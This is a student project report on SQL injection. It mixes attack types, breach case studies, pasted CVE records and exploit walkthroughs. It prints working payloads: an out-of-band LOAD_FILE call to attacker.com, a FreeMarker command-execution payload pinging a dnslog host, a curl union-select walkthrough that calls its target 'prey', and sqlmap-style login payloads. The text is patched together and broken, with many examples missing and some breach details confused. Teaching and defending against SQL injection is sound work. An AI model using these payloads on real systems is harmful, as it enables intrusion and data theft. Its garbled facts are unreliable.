Sqli Project-2
Sqli Project-2
Project Title:
(2005)
BS-IT (7th-Morning)
Group Members:
The project begins with a thorough literature review of existing methodologies for detecting and
preventing SQL injections. It employs both theoretical frameworks and practical experiments to analyze
various attack vectors. A virtual environment is established using a combination of PHP and MySQL to
simulate real-world scenarios where SQL injections might occur. Students will engage in hands-on
exercises to identify vulnerabilities within the application and implement remediation strategies such as
input validation, parameterized queries, and stored procedures.
Additionally, the project aims to enhance awareness of secure coding practices among developers by
creating educational materials that outline common pitfalls and best practices for preventing SQL
injections. The findings will contribute to the broader field of cyber security education by providing
insights into how vulnerabilities can be systematically identified and addressed.
Ultimately, this project not only seeks to fortify web applications against SQL injection attacks but also
aims to cultivate a culture of security-conscious development among future software engineers. By
fostering a deeper understanding of these vulnerabilities, the project aspires to contribute to the
ongoing efforts in safeguarding sensitive data and maintaining the integrity of database systems in an
increasingly interconnected world.
Acknowledgment
I would like to express my heartfelt gratitude to ALLAH THE GREAT ALMIGHTY and all those who
contributed to the successful completion of this project on SQL Injection.
First and foremost, I extend my sincere thanks to my project supervisor, “Muhammad Aleem Awan”,
for their invaluable guidance, support, and expertise throughout the project process. Their insights and
constructive feedback were instrumental in shaping the direction of this project.
I am also grateful to my peers as well faculty members in Department of Information Technology for
their encouragement and collaboration. Last but not the least, I would like to thank my family and
friends for their unwavering support and encouragement throughout my academic journey. Their belief
in my abilities motivated me to overcome challenges and strive for excellence.
This project is a culmination of collective efforts, and I am deeply appreciative of everyone who played a
role in its realization. Thank you all for your contributions and support.
Introduction
1.1 Overview of SQL Injection
SQL Injection (SQLi) is a critical security vulnerability that exploits the mechanisms by which web
applications interact with databases. It occurs when an attacker inserts or "injects" malicious SQL
statements into input fields, query parameters, or URLs, bypassing the intended functionality of the
application. This can lead to unauthorized access to sensitive data, data manipulation, or even complete
control over the database.
Despite being one of the oldest web application vulnerabilities, SQL injection remains highly relevant. It
is ranked among the OWASP Top 10 web application vulnerabilities, underscoring its persistent threat to
modern systems. SQL injection highlights the importance of robust security practices in software
development, especially in an era where data-driven applications are the backbone of nearly every
industry.
The origins of SQL injection trace back to the late 1990s, during the rise of dynamic web applications.
Early incidents, such as the exposure of e-commerce vulnerabilities, revealed how insecure database
interactions could compromise entire systems. Over time, SQL injection techniques have evolved,
becoming more sophisticated and capable of bypassing traditional security mechanisms.
Notable incidents include the 2014 Sony Pictures hack, where attackers exploited SQL injection
vulnerabilities to access and leak sensitive corporate data, resulting in significant financial and
reputational damage. Similarly, the TalkTalk data breach in 2015 exploited SQL injection to compromise
the personal information of millions of customers. These incidents highlight the catastrophic
consequences of neglecting secure coding practices and underscore the need for continuous vigilance.
1.3 Relevance in the Modern Cybersecurity Landscape
SQL injection remains a major concern for cybersecurity professionals and organizations alike. Its
prevalence stems from several factors:
1. Ease of Exploitation: Attackers require minimal resources to launch SQL injection attacks, often
leveraging readily available tools and scripts.
2. Potential Impact: Successful exploitation can lead to devastating consequences, including data
theft, financial losses, and regulatory penalties.
3. Persistent Vulnerabilities: Despite advancements in secure coding frameworks, many
applications, especially legacy systems, remain vulnerable to SQL injection due to improper
input validation and insecure query construction.
As organizations continue to rely on data-intensive systems, the ability to identify and mitigate SQL
injection attacks is essential for safeguarding digital assets and maintaining user trust.
The primary goal of this document is to provide a comprehensive exploration of SQL injection, including
its technical aspects, practical execution, and mitigation strategies. The objectives are as follows:
1. To develop a foundational understanding of SQL injection, its mechanisms, and its impact on
web application security.
2. To demonstrate various SQL injection techniques with detailed step-by-step execution.
3. To analyze real-world case studies to contextualize the practical implications of SQL injection
vulnerabilities.
4. To propose effective countermeasures and secure coding practices to prevent SQL injection
attacks.
5. To emphasize the ethical and legal responsibilities of penetration testing and cybersecurity
practices.
Students and Learners: To gain a deep understanding of SQL injection as part of their
cybersecurity curriculum.
Developers and Engineers: To adopt secure coding practices and defend their applications
against SQL injection attacks.
Cybersecurity Professionals: To enhance their penetration testing methodologies and
vulnerability assessment techniques.
The scope of this documentation encompasses theoretical insights, practical demonstrations, and
mitigation strategies. It aims to bridge the gap between knowledge and application, ensuring that
readers can both understand and apply the concepts of SQL injection in real-world scenarios.
In a rapidly evolving digital landscape, where data breaches and cyberattacks are increasingly
sophisticated, understanding vulnerabilities like SQL injection is paramount. This document not only
equips readers with the knowledge to identify and exploit such vulnerabilities but also emphasizes the
importance of implementing robust security measures. By balancing technical depth with practical
applications, this documentation serves as a valuable resource for advancing cybersecurity awareness
and expertise.
Understanding of SQL and Databases
Structured Query Language (SQL) is a standard programming language used for managing and
interacting with relational databases. It enables the execution of various operations, such as
retrieving, inserting, updating, and deleting data. SQL plays a fundamental role in web
applications, allowing users to interact with stored data seamlessly.
A relational database organizes data into structured tables, consisting of rows and columns, to
facilitate efficient storage, retrieval, and management of information.
Web applications use SQL queries to interact with databases. A typical workflow involves:
1. A user submits a request (e.g., a login form or search query) via a web interface.
2. The application processes the input and constructs an SQL query.
3. The query is sent to the database for execution.
4. The database returns the requested data to the application, which displays it to the user.
This interaction highlights the importance of secure query construction. Improper handling of
user input can lead to vulnerabilities like SQL injection.
To mitigate SQL injection, developers must adopt secure query construction practices:
This approach prevents user input from being interpreted as SQL commands.
2. Stored Procedures:
Encapsulating SQL queries within stored procedures adds a layer of abstraction, reducing
direct exposure to user input.
3. Input Validation and Sanitization:
Restrict user input to expected patterns (e.g., alphanumeric characters) to minimize the
risk of malicious code execution.
Conclusion of Section 2
This section provides a foundational understanding of SQL, relational databases, and the
interaction between web applications and databases. It highlights how vulnerabilities arise from
insecure practices and emphasizes the importance of secure query construction to prevent attacks
like SQL injection.
Types of SQL Injection Attacks
SQL injection (SQLi) attacks can be classified into various types based on the techniques used to
exploit vulnerabilities. Each type serves a specific purpose, and understanding them is crucial for
both offensive security (penetration testing) and defensive security (mitigation). This section
explores the primary types of SQL injection attacks in depth.
Definition
Error-based SQL injection leverages database error messages to gain information about the
structure of the database. By intentionally injecting malicious input that causes an error, attackers
can extract sensitive information such as table names, column names, and database version
details.
Process
1. The attacker injects malicious input into an input field.
2. The database processes the input, leading to a syntax error.
3. The error message returned to the application reveals useful information about the database.
Example
If an attacker inputs:
' OR 1=1 --
The resulting query becomes:
Mitigation
Disable detailed error messages in production environments.
Use parameterized queries to prevent malicious input.
Regularly patch database management systems to avoid known vulnerabilities.
Picture Ideas
Diagram showing the flow of an error-based SQL injection attack.
Screenshot of an SQL error message revealing sensitive information.
Union-based SQL injection exploits the UNION SQL operator to combine the results of two or
more SELECT statements. This technique allows attackers to extract data from other tables in
the database.
Process
1. The attacker crafts a malicious query using the UNION operator.
2. The database executes the query, merging the results into the original query.
3. Sensitive data is exposed in the application's output.
Example
Original query:
Malicious input:
Resulting query:
Mitigation
Validate and sanitize user input.
Restrict the use of the UNION operator where unnecessary.
Use the principle of least privilege to limit database user permissions.
Picture Ideas
Diagram explaining how the UNION operator works in a query.
Example output of a successful union-based SQL injection.
3.3 Blind SQL Injection
Definition
Blind SQL injection is used when the application does not display detailed error messages but
still behaves differently based on the SQL query's outcome. Attackers can infer information by
observing application behavior, such as time delays or differences in the response.
If the query evaluates to true, the application proceeds normally. If false, it behaves differently.
Picture Ideas
Flowchart showing the logical steps of a Boolean-based SQL injection.
Diagram illustrating the concept of time delays in time-based SQL injection.
Definition
Time-based blind SQL injection involves injecting queries that include database functions
capable of causing delays. The attacker infers database structure by observing these delays.
Example
Input query:
If the page takes a long time to load, the attacker knows the condition is true. Using this method
repeatedly, attackers can extract database names, tables, or other sensitive information.
Mitigation
Monitor database query performance and anomalies.
Limit database functions that could enable time-based injections.
Picture Ideas
Timeline-based graphic showing how query execution times reveal information.
Chart demonstrating time delays.
Definition
Out-of-band SQL injection uses external resources (e.g., DNS or HTTP) to exfiltrate data. This
method is useful when standard error messages and in-band techniques are not available.
Process
1. The attacker crafts a query that causes the database to make an outbound connection to a
controlled server.
2. Sensitive data is sent to the attacker's server through DNS or HTTP requests.
Example
Injected query:
' OR LOAD_FILE('http://attacker.com/command.txt') --
Mitigation
Block outbound network connections from the database server.
Restrict database functions that allow file loading or external calls.
Picture Ideas
Diagram illustrating the exfiltration process using external servers.
Example log of an outbound connection triggered by an SQL query.
3.6 Comparison Table of SQL Injection Types
Key Common
Type Primary Goal
Characteristics Mitigation
Extract database Disable error messages,
Error-Based Uses error messages for insights
information sanitize inputs
Boolean-
Infer true/false conditions Observes application behavior Parameterized queries
Based
Conclusion of Section 3
This section provides a detailed examination of the different types of SQL injection attacks. By
understanding the nuances of each type, developers and security professionals can better
anticipate and mitigate potential vulnerabilities.
Case Studies of past Real-World SQL Injection
Attacks
4.1 Overview
SQL injection vulnerabilities have led to some of the most significant data breaches in history.
This section explores real-world cases to illustrate the devastating impact of these attacks. Each
case highlights the techniques used, the consequences, and how they could have been prevented.
4.2 Case Study 1: The Heartland Payment Systems Breach
(2008)
Background
Heartland Payment Systems, a major payment processing company in the United States, suffered
a massive data breach in 2008 due to SQL injection. The breach exposed over 130 million credit
and debit card numbers, making it one of the largest data breaches of its time.
Attack Details
1. Vulnerability Exploited:
Attackers discovered a vulnerable web application within Heartland’s network. The
application failed to sanitize user input, allowing SQL injection.
2. Injection Technique Used:
The attackers used error-based SQL injection to extract database
information.
3. Data Exfiltration:
Once the attackers accessed the database, they extracted cardholder data and transferred it
to external servers.
4. Duration of Attack:
The breach went undetected for several months, allowing attackers to harvest data
continuously.
Consequences
Financial Losses: Heartland paid over $140 million in settlement fees.
Reputation Damage: The company faced a significant loss of customer trust.
Legal Actions: Multiple lawsuits were filed, and the company was fined for failing to
comply with PCI-DSS standards.
Lessons Learned
Implementing parameterized queries could have prevented the attack.
Regular penetration testing would have identified vulnerabilities before
exploitation.
Employing a robust intrusion detection system (IDS) might have
detected suspicious activity sooner.
Picture Suggestions:
Timeline graphic showing the progression of the attack.
Diagram of how the SQL injection was used to access sensitive data.
4.3 Case Study 2: Sony Pictures Breach (2011)
Background
In 2011, Sony Pictures faced a major breach where attackers accessed over 1 million user
accounts. The breach was attributed to SQL injection vulnerabilities in Sony's web applications.
Attack Details
1. Vulnerability Exploited:
A publicly accessible website lacked input validation and allowed attackers to execute
SQL commands.
2. Injection Technique Used:
The attackers used a combination of union-based and blind SQL
injection to extract user credentials, including passwords stored in plaintext.
3. Impact:
o Usernames, passwords, and email addresses of over 1 million users were leaked online.
o Sensitive internal documents were also stolen.
Consequences
Customer Backlash: Users criticized Sony for poor security practices, especially
for storing passwords in plaintext.
Financial Impact: Sony incurred significant costs in legal fees, fines, and
implementing security upgrades.
Reputation Damage: The breach damaged Sony's reputation, leading to
customer mistrust.
Lessons Learned
Encrypting sensitive data like passwords is critical to minimizing the impact of breaches.
Implementing input validation and secure coding practices would have prevented
the vulnerability.
Picture Suggestions:
Screenshot of SQLMap output simulating a union-based injection.
Diagram illustrating how user credentials were extracted.
Background
Attack Details
1. Vulnerability Exploited:
A vulnerable webpage on TalkTalk's website allowed attackers to execute SQL injection.
2. Injection Technique Used:
The attackers exploited blind SQL injection to access sensitive customer data,
including names, addresses, and bank details.
3. Attackers:
The breach was orchestrated by a group of hackers, including individuals as young as 15
years old.
Consequences
Regulatory Fines: TalkTalk was fined £400,000 by the UK Information
Commissioner’s Office for failing to protect customer data.
Customer Losses: Many customers terminated their contracts due to the breach.
Reputational Damage: The breach became a public relations disaster for
TalkTalk.
Lessons Learned
Regular security audits and patch management could have identified and fixed
vulnerabilities.
Using web application firewalls (WAF) would have mitigated the SQL
injection attempt.
Picture Suggestions:
Flowchart showing the blind SQL injection process.
Table of the data types compromised in the breach.
CVE Records on this CVE.ORG website is displayed in the official CVE Record Format.
Below are details on selected fields shown on the CVE Record Detail page.
CVE Records:
CVE Records may now provide data from three different sources to enrich vulnerability
information available to the public:
Selected enriched information provided by the CNA is found under the “CNA” container.
Additional references that are added by the CVE Program are found in the CVE Program
Container. Refer to this blog for a full explanation of this enriched data.
Selected enriched information provided by one or more ADPs is provided under the “ADP”
container. If there is no ADP-enriched information, no ADP container will be present.
Weakness:
Known Exploited Vulnerabilities (KEV) refers to a security flaw in software that CISA has
identified as being actively exploited by attackers. These vulnerabilities are considered high-risk
because they can be used by malicious actors to gain unauthorized access, execute arbitrary code,
or cause other security breaches. Organizations are urged to address KEVs promptly to mitigate
potential threats. The KEV information displayed in the CVE Record includes the reference link
to the KEV catalog and the date that the vulnerability was added to the KEV catalog.
Product Status:
The Versions section may contain a Default Status field and one or more of these version status
categories:
Category:
Purple text denotes the version provided by the user inputting the CVE JSON data.
In the following section you will find the descriptions, format information and examples for the
following fields: default status, top-level version/version range and version changes.
Default Status:
The single version being described, or the version range. By convention, 0 typically denotes the
earliest possible version.
Formats:
<status: affected, unaffected, unknown> from <start version> <at, before, through> <end
version>
Examples:
affected from 5.0 before 6.0 (affected version doesn’t include 6.0)
unaffected from 5.0 through 6.0 (unaffected version range includes 5.0 and 6.0)
Version Changes:
A list of status changes that take place during a range. The list should be sorted in (linearly or
topologically) increasing order by the 'at' field, according to the versionType, but the user must
not assume this. Instead, users must re-sort the list themselves before using it.
Format:
Examples:
affected from 1.0 before 4.0 (affected version doesn't include 4.0)
unaffected from 1.0 (version affected changed and it is unaffected from 1.0 to 2.0 — the
next range right below)
affected from 2.0 (version remain affected from 2.0 to before 4.0, not including 4.0)
For another linear version example view the Version Status Changes section.
For a non-linear version example view the Source Control Versions section.
Resource:
https://www.cve.org/CVERecord/UserGuide
Vulnerability Type
SQL Injection
CVE-2023-7299 is classified as a critical SQL Injection vulnerability, which allows attackers to
manipulate SQL queries and compromise the application's database.
Root Cause
The vulnerability exists due to the lack of proper input validation and sanitization in SQL
queries. Specifically, user inputs are directly included in the SQL statements without being
properly filtered or parameterized.
Affected Component:
This vulnerability resides in the /dataSet/resolveSql endpoint, as seen in the provided
HTTP payload.
Primary Issue:
The application does not validate the sql parameter in the request body, allowing attackers to
inject arbitrary SQL commands.
Exploit Mechanism:
The attacker injects malicious SQL payloads via the sql parameter, which are executed directly
by the database engine.
Impact
Description
During an evaluation of the application, a critical SQL injection vulnerability was identified in
the /dataSet/resolveSql endpoint.
{
"sql": "#assign
value=`freemarker.template.utility.Execute(`new()%$
{value(`ping j0klk.j4.dnslog.cn`)}`)"
}
Payload Breakdown
#assign value=`freemarker.template.utility.Execute(`new()%$
{value(`ping j0klk.j4.dnslog.cn`)}`)`
o This payload exploits a vulnerability in the backend system that parses and executes the
SQL query.
o The payload forces the system to execute arbitrary OS-level commands (ping
j0klk.j4.dnslog.cn).
2. Execution Results
The backend application executes the malicious ping command, as shown in the HTTP
response:
127.0.0.1 Ping 统计信息:
发送 = 4, 接收 = 4, 丢失 = 0 (0% 丢失),
在远程响应中检测到的最短 = 0ms, 平均 = 0ms
This indicates that the injected command was successfully executed on the server.
Vulnerability Types
2. Parameterized Queries:
Always use parameterized queries to prevent SQL injection. Example in PHP:
php
Copy code
$stmt = $pdo->prepare("SELECT * FROM users WHERE username
= :username AND password = :password");
$stmt->execute([':username' => $username, ':password' =>
$password]);
Conclusion
Overview
CVE-2021-44228, also known as Log4Shell, is a critical remote code execution (RCE) vulnerability in the
Apache Log4j 2 library, a widely used logging framework for Java applications. This vulnerability was
publicly disclosed on December 9, 2021, and it received the maximum CVSS score of 10.0, indicating its
severity.
Key Details:
Vulnerability Description
Log4j 2 supports a feature called message lookup substitution, which allows dynamic values to be
resolved in log messages. For example:
The vulnerability arises from the JNDI (Java Naming and Directory Interface) feature, which allows Log4j
to query external resources such as LDAP servers. An attacker can exploit this by injecting a malicious
string into any logged field, like:
When processed by Log4j, this string triggers a remote lookup and execution of arbitrary code hosted on
the attacker's server, leading to RCE.
Exploitation Steps
If an attacker controls the userInput variable, they can inject a malicious JNDI lookup string.
Exploitation Example
1. Set up a malicious LDAP server: Use the JNDI Exploit Kit to host a malicious LDAP
server.
2.
Inject Payload: Send a payload to the application that logs user input:
Result: The application makes an LDAP request to attacker.com, retrieves malicious code, and executes
it.
Mitigation
Update Log4j
Version 2.15.0:
o Introduced log4j2.formatMsgNoLookups=true to disable message lookups.
Version 2.16.0:
o Disabled JNDI lookups entirely by default.
Version 2.17.0:
o Added further protections against potential vulnerabilities.
Temporary Workarounds
1. Set JVM Options: Add the following JVM argument to disable lookups:
Remove JNDI Class: Delete the JndiLookup class from the Log4j core JAR:
Detection
1. Log4Shell Scanner:
o GitHub: log4shell-tools
2. Network Activity Monitoring:
o Inspect logs for unusual JNDI lookups or requests to untrusted LDAP/RMI servers.
CVE-2023-43794 Details:
Description:
Nocodb is an open source Airtable alternative. Affected versions of nocodb contain a SQL injection
vulnerability, that allows an authenticated attacker with creator access to query the underlying
database. By supplying a specially crafted payload to the given an attacker can inject arbitrary SQL
queries to be executed. Since this is a blind SQL injection, an attacker may need to use time-based
payloads which would include a function to delay execution for a given number of seconds. The
response time indicates, whether the result of the query execution was true or false. Depending on the
result, the HTTP response will be returned after a given number of seconds, indicating TRUE, or
immediately, indicating FALSE. In that way, an attacker can reveal the data present in the database. This
vulnerability has been addressed in version 0.111.0. Users are advised to upgrade. There are no known
workarounds for this vulnerability. This issue is also tracked as `GHSL-2023-141`.
CVE-2023-43794
10/17/2023
NVD Last Modified:
11/21/2024
Source:
GitHub, Inc.
Metrics:
Weakness Enumeration:
By supplying a specially crafted payload to the given below parameter and endpoint, an attacker can
inject arbitrary SQL queries to be executed. Since this is a blind SQL injections, an attacker may need to
use time-based payloads which would include a function to delay execution for a given number of
seconds. The response time indicates, whether the result of the query execution was true or false.
Depending on the result, the HTTP response will be returned after a given number of seconds, indicating
TRUE, or immediately, indicating FALSE. In that way, an attacker can reveal the data present in the
database.
The triggerList method creates a SQL query using the user-controlled table_name parameter value from
the tableCreate endpoint.
log.api(`${_func}:args:`, args);
try {
args.databaseName = this.connectionConfig.connection.database;
`select *, name as trigger_name from sqlite_master where type = 'trigger' and tbl_name='$
{args.tn}';`,
);
[...]
Impact:
Tested Version:
0.109.2
Source code:
nocodb/nocodb
References to Advisories, Solutions, and Tools:
https://github.com/nocodb/nocodb/security/advisories/GHSA-3m5q-q39v-xf8f
https://github.com/nocodb/nocodb/security/advisories/GHSA-3m5q-q39v-xf8f
Description:
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in
TMT Lockcell allows SQL Injection.This issue affects Lockcell: before 15.
National Vulnerability Database:
Metrics:
Weakness Enumeration:
CWE:1 Total
CVSS: 1 Total
Product Status:
Vendor: TMT
Product: Lockcell
Versions: 1 Total
Credits:
Efe OZEL finder
Fordefence sponsor
Modification:
This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which
may result in further changes to the information provided.
Change History:
CVE Modified by Computer Emergency Response Team of the Republic of Turkey 5/14/2024 9:31:14 AM
CVE-ID: CVE-2023-3047
Details:
It becomes possible to retrieve the sql database via the “Email” and “Sifre” parameters. At the same
time, the login page can be bypassed with the sql command below.
HTTP Request:
2023/3xxx/CVE-2023-3047.json
"dataType": "CVE_RECORD",
"containers": {
"adp": [
"references": [
"url": "https://www.usom.gov.tr/bildirim/tr-23-0345",
"tags": [
"government-resource",
"x_transferred"
},
"url": "https://fordefence.com/cve-2023-3047-tmt-lockcell-sql-injection/",
"tags": [
"technical-description",
"exploit",
"x_transferred"
],
"providerMetadata": {
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE",
"dateUpdated": "2024-08-02T06:41:04.147Z"
},
"metrics": [
"other": {
"type": "ssvc",
"content": {
"id": "CVE-2023-3047",
"options": [
"Exploitation": "none"
},
"Automatable": "yes"
},
{
],
"version": "2.0.3",
"timestamp": "2025-01-03T15:21:29.208118Z"
],
"providerMetadata": {
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP",
"dateUpdated": "2025-01-03T15:21:34.067Z"
],
"cna": {
"source": {
"defect": [
"TR-23-0345"
],
"advisory": "TR-23-0345",
"discovery": "INTERNAL"
},
"credits": [
"lang": "en",
"type": "finder",
"user": "00000000-0000-4000-9000-000000000000",
},
"lang": "en",
"type": "analyst",
"user": "00000000-0000-4000-9000-000000000000",
},
"lang": "en",
"type": "sponsor",
"user": "00000000-0000-4000-9000-000000000000",
"value": "Fordefence"
],
"impacts": [
"capecId": "CAPEC-66",
"descriptions": [
"lang": "en",
],
"metrics": [
{
"format": "CVSS",
"cvssV3_1": {
"scope": "UNCHANGED",
"version": "3.1",
"baseScore": 9.8,
"attackVector": "NETWORK",
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"integrityImpact": "HIGH",
"userInteraction": "NONE",
"attackComplexity": "LOW",
"availabilityImpact": "HIGH",
"privilegesRequired": "NONE",
"confidentialityImpact": "HIGH"
},
"scenarios": [
"lang": "en",
"value": "GENERAL"
],
"affected": [
"vendor": "TMT",
"product": "Lockcell",
"versions": [
{
"status": "affected",
"version": "0",
"lessThan": "15",
"versionType": "custom"
],
"defaultStatus": "unaffected"
],
"solutions": [
"lang": "en",
"supportingMedia": [
"type": "text/html",
"base64": false
],
"datePublic": "2023-06-13T12:00:00.000Z",
"references": [
"url": "https://www.usom.gov.tr/bildirim/tr-23-0345",
"tags": [
"government-resource"
]
},
"url": "https://fordefence.com/cve-2023-3047-tmt-lockcell-sql-injection/",
"tags": [
"technical-description",
"exploit"
],
"x_generator": {
},
"descriptions": [
"lang": "en",
"value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
vulnerability in TMT Lockcell allows SQL Injection.This issue affects Lockcell: before 15.\n\n",
"supportingMedia": [
"type": "text/html",
"value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
vulnerability in TMT Lockcell allows SQL Injection.<p>This issue affects Lockcell: before 15.</p>",
"base64": false
],
"problemTypes": [
{
"descriptions": [
"lang": "en",
"type": "CWE",
"cweId": "CWE-89",
],
"providerMetadata": {
"orgId": "ca940d4e-fea4-4aa2-9a58-591a58b1ce21",
"shortName": "TR-CERT",
"dateUpdated": "2023-06-19T12:23:04.527Z"
},
"cveMetadata": {
"cveId": "CVE-2023-3047",
"state": "PUBLISHED",
"dateUpdated": "2025-01-03T15:21:47.721Z",
"dateReserved": "2023-06-02T10:07:20.204Z",
"assignerOrgId": "ca940d4e-fea4-4aa2-9a58-591a58b1ce21",
"datePublished": "2023-06-13T11:41:05.006Z",
"assignerShortName": "TR-CERT"
},
"dataVersion": "5.1"
}
Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in
TMT Lockcell allows SQL Injection.This issue affects Lockcell: before 15.
Details:
https://www.tenable.com/cve/CVE-2023-3047
Exploit
First we will check to see if it has the CVE-2023-3047 error, now open a terminal, and make sure every
terminal will support the cURL tool
command :
after enter , and if it displays as 100 4976 0 4 --:--:Error: You have an error in your SQL syntax; check
the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 so
your website is suffering from the error CVE-2023-3047
ok, next we will try to see if this website blocks these Inejection attacks, try using the following
command and try it
and Enter, if it displays like the image below, then you have a lucrative prey
and now you should continue the union select payload from 1 to a certain number that is considered
valid for the column number of the mysql website.
ok, my goal has a valid column number from 1 to 11, in the image below, 2 completely different
results, above still has The used SELECT, and below there is not.
And now, I will go to Google and verify, see if it is valid with the above results or not, and
conveniently, I will get another number from which I can get information.
Well, it seems like it's a completely valid result, and there are 3 numbers we can inject to get
information from.
and now, we will practice injecting sql commands to get information from it
o oh, it seems, this command is not very good, because we have not encoded the payload into a URL
and now my task is to encode that payload into a URL path to continue the cyber attack
Curl http://testphp.vulnweb.com/listproducts.php?
cat=1+union+select+1,2,3,4,5,6,<encode_path_here>,8,9,10,11--+- | grep "::"
and after entering, and that's the end of the game, the user name and database have been exposed,
not only that, hackers can inject other payloads to get more information from them, for example
dumping the base data to steal information or gain control of the website admin.
So, the game is over, the user name is acuart@localhost and the database name is acuart
Conclusion:
We update the servers with the latest version of MySQL or can search on Google to find ways to prevent
network attacks like the above.
Resources:
https://cwe.mitre.org/data/definitions/89.html
https://github.com/Phamchie/CVE-2023-3047
https://github.com/cisagov/vulnrichment/blob/develop/2023/3xxx/CVE-2023-3047.json
https://www.usom.gov.tr/bildirim/tr-23-0345 (government-resource)
https://fordefence.com/cve-2023-3047-tmt-lockcell-sql-injection/ (technical-description-exploit)
CVE-2023-5495: Detailed Analysis
Version: Unknown
CVE ID
CVE-2023-5495
Description
SQL injection attacks can allow unauthorized access to sensitive data, modification of data and crash the
application or make it unavailable, leading to lost revenue and damage to a company's reputation.
A vulnerability was found in QDocs Smart School 6.4.1. It has been classified as critical. This affects an
unknown part of the file /course/filterRecords/ of the component HTTP POST Request Handler. The
manipulation of the argument searchdata[0][title]/searchdata[0][searchfield]/searchdata[0]
[searchvalue] leads to sql injection. It is possible to initiate the attack remotely. The associated identifier
of this vulnerability is VDB-241647. NOTE: The vendor was contacted early about this disclosure but did
not respond in any way.
The product does not ensure or incorrectly ensures that structured messages or data are well-formed
and that certain security properties are met before being read from an upstream component or sent to
a downstream component.
Impact
It provides Database access and affects confidentiality, integrity, availability, confidentiality and access
control.
Severity
Standard
The vulnerability information aligns with NIST (National Institute of Standards and Technology)
standards.
Current Status
# Date: 28/09/2023
# CVE: CVE-2023-5495
## Greetings
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
## Description
SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
Path: /course/filterRecords/
-------------------------------------------
searchdata%5B0%5D%5Btitle%5D=rating&searchdata%5B0%5D%5Bsearchfield
%5D=sleep(5)%23&searchdata%5B0%5D%5Bsearchvalue%5D=3
-------------------------------------------
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0]
[searchvalue]=[SQLi]&searchdata[1][title]=[SQLi]&searchdata[1][searchfield]=[SQLi]&searchdata[1]
[searchvalue]=[SQLi]
Path: /course/filterRecords/
---
---
-------------------------------------------
-------------------------------------------
Path: /online_admission
---
---
-----------------------------320375734131102816923531485385
*[SQLi]
-----------------------------320375734131102816923531485385
[-] Done
Detection Methods
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find
some instances of this weakness by analyzing source code (or binary/compiled code) without having to
execute it. Typically, this is done by building a model of data flow and control flow, then searching for
potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where
the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
CVE-2024-42005
Description
An issue was discovered in Django 5.0 before 5.0.8 and 4.2 before 4.2.15. QuerySet.values() and
values_list() methods on models with a JSONField are subject to SQL injection in column aliases via a
crafted JSON object key as a passed *arg.
Source: MITRE
Metrics:
Weakness Enumeration:
Change History:
CVSS:
References:
https://docs.djangoproject.com/en/dev/releases/security/ https://groups.google.com/forum/#
%21forum/django-announce https://www.djangoproject.com/weblog/2024/aug/06/security-
releases/
PROBLEM TYPE
Vulnerability Type
SQL injection
Root Cause
A SQL injection vulnerability was found in the '/successadmin.php' file of the 'Blood Bank
Management System In PHP With Source Code' project. The reason for this issue is that
attackers inject malicious code from the parameter 'psw' and use it directly in SQL queries
without the need for appropriate cleaning or validation. This allows attackers to forge input
values, thereby manipulating SQL queries and performing unauthorized operations.
Impact
Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access,
sensitive data leakage, data tampering, comprehensive system control, and even service
interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
During the security review of "Blood Bank Management System In PHP With Source Code",
alc9700 discovered a critical SQL injection vulnerability in the "/successadmin.php" file. This
vulnerability stems from insufficient user input validation of the 'psw' parameter, allowing
attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to
databases, modify or delete data, and access sensitive information. Immediate remedial
measures are needed to ensure system security and protect data integrity.
vulnerability type:
boolean-based blind
error-based
time-based blind
Vulnerability location:
'psw' parameter
Payload:
Parameter: psw (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: uname=admin&psw=123456' OR NOT 5111=5111 AND
'IWGD'='IWGD&remember=on
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
Payload: uname=admin&psw=123456'
OR (SELECT 2008 FROM(SELECT
COUNT(*),CONCAT(0x7162717171,(SELECT
(ELT(2008=2008,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'upEN'='upEN&remember=on
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uname=admin&psw=123456'
AND (SELECT 5716 FROM
(SELECT(SLEEP(5)))DVry) AND 'ooec'='ooec&remember=on
CVE-2025-0392
Vulnerability Type
SQL Injection (SQLi): Critical vulnerability allowing attackers to manipulate SQL queries and
compromise the database.
Root Cause
Lack of Input Validation and Sanitization: User inputs are directly embedded in SQL queries
without proper validation or parameterization.
Affected Component
Endpoint: /inventory/fetchProduct
Parameter: productId
Primary Issue
The application fails to validate the productId parameter, allowing attackers to inject malicious
SQL payloads.
Exploit Mechanism
Attackers inject crafted SQL payloads via the productId parameter, directly executed by the
database.
Impact
Request Example
Host: localhost:8080
Content-Type: application/json
Content-Length: 58
Payload Breakdown
Severity
3. Error Handling:
o Avoid exposing detailed error messages to users.
4. Access Controls:
o Implement least-privilege access for database accounts.
5. Web Application Firewall (WAF):
o Deploy a WAF to block malicious SQL payloads.
6. Regular Security Audits:
o Perform code reviews and penetration testing to identify vulnerabilities.
7. Patching and Updates:
o Regularly update software to address known issues.
Impact Analysis
Exploit Scenario
Using sqlmap:
bash
Lessons Learned
1. Legacy Systems Are Vulnerable: Modernize outdated systems to reduce SQLi risk.
